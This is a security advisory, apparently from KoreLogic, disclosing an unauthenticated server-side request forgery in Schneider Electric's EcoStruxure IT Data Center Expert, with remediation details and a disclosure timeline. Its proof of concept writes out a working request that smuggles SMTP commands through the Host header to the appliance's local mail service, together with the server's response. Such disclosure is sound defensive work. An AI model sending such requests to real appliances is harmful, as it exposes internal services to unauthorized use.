Schneider Electric EcoStruxure IT Data Center Expert Unauthenticated Server-Side Request Forgery
Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
The Data Center Expert (“DCE”) appliance insecurely forwards HTTP requests based on user-controlled values, enabling an unauthenticated user to coerce the web application into sending data to arbitrary locations, such as the SMTP service listening on localhost.
Technical Description
When an HTTP request is sent to either the /plugins or
/capturelogs endpoints, the request is forwarded based on
the Host request header. Since the Host request header is
not validated, a user may supply any host / port combination
and send data to arbitrary locations and view the response,
creating a server-side request forgery vulnerability.
GET /plugins HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found
...
<!doctype html>
<html>
<head>
<title>Example Domain</title>
...The upstream path is not controllable and HTTP redirects are not followed.
Rather than issuing constrained HTTP requests, it is possible
to instead send malicious data to other services that leverage
protocols similar to HTTP, such as the SMTP service listening on
the appliance’s loopback address. Attempts to send well-formed
HTTP requests to the SMTP service result in the TCP connection
being prematurely severed, as common HTTP verbs are a sign
of malicious activity. However, the proxy mechanism employed
by the DCE appliance does not validate the verb, allowing
malformed requests that contain valid SMTP commands such as
EHLO and MAIL FROM.
When unexpected data is received, such as the Host and
X-Forwarded-For request header, a benign error is returned
without severing the TCP connection, allowing for additional
(and well-formed) SMTP commands to follow.
Mitigation and Remediation Recommendation
Version 9.0 of EcoStruxure IT Data Center Expert includes fixes for these vulnerabilities and is available upon request from Schneider Electric’s Customer Care Center. Refer to https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf.
Credit
This vulnerability was discovered by Jaggar Henry and Jim Becher of KoreLogic, Inc.
Proof of Concept
This behavior allows unauthenticated attackers to interact with services not usually exposed to the internet, such as the appliance’s SMTP service, to further exploit and enumerate the system.
The following is an HTTP request sent to the DCE web interface listening on TCP/80:
EHLO /plugins?%0a%0dfoobar HTTP/1.1
Host: 127.0.0.1:25
Content-Length: 137
HELO localhost
MAIL FROM:<root@localhost>
RCPT TO:<apcreset@localhost>
DATA
Subject: foobar
This is a test email body
.
QUITAs shown in the HTTP response, request headers that do not represent valid SMTP commands are disregarded, allowing the body to be parsed as a valid message:
HTTP/1.1 200 OK
...
220 dce.example.com ESMTP Sendmail 8.14.4/8.14.4; Mon, 1 Jul 2024 07:00:08 -0400501 5.0.0 Invalid domain name
500 5.5.1 Command unrecognized: "Host: 127.0.0.1:25"
500 5.5.1 Command unrecognized: "X-Forwarded-For: 192.168.2.65"
500 5.5.1 Command unrecognized: "X-Forwarded-Host: 127.0.0.1:25"
500 5.5.1 Command unrecognized: "X-Forwarded-Server: dce.example.com"
500 5.5.1 Command unrecognized: "Connection: Keep-Alive"
500 5.5.1 Command unrecognized: "Content-Length: 141"
500 5.5.1 Command unrecognized: ""
250 dce.example.com Hello localhost.localdomain [127.0.0.1], pleased to meet you
250 2.1.0 <root@localhost>... Sender ok
250 2.1.5 <apcreset@localhost>... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 461B08WP030169 Message accepted for delivery
221 2.0.0 dce.example.com closing connectionThe contents of this advisory are copyright(c) 2025 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy
Disclosure Timeline
KoreLogic reports vulnerability details to Schneider Electric CPCERT.
Vendor acknowledges receipt of KoreLogic's submission.
Vendor confirms the reported vulnerability.
Vendor requests a meeting with KoreLogic to discuss the timeline of remediation efforts for this vulnerability, as well as for associated submissions from KoreLogic.
KoreLogic and Schneider Electric agree to embargo vulnerability details until product update 9.0, circa July, 2025.
Vendor provides status update.
Vendor provides beta release containing remediation for this and other associated vulnerabilities reported by KoreLogic.
Vendor notifies KoreLogic that the publication date for this vulnerability will be 2025-07-08.
Vendor public disclosure.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.